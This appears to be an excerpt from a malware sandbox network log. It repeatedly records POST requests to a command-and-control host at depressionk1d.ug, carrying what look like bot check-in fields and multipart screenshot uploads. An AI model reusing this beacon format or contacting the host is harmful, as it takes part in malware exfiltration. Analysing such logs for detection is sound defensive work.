Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----35cdb41c8aae8e685df6a1946f054310Host: depressionk1d.ugContent-Length: 111710Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
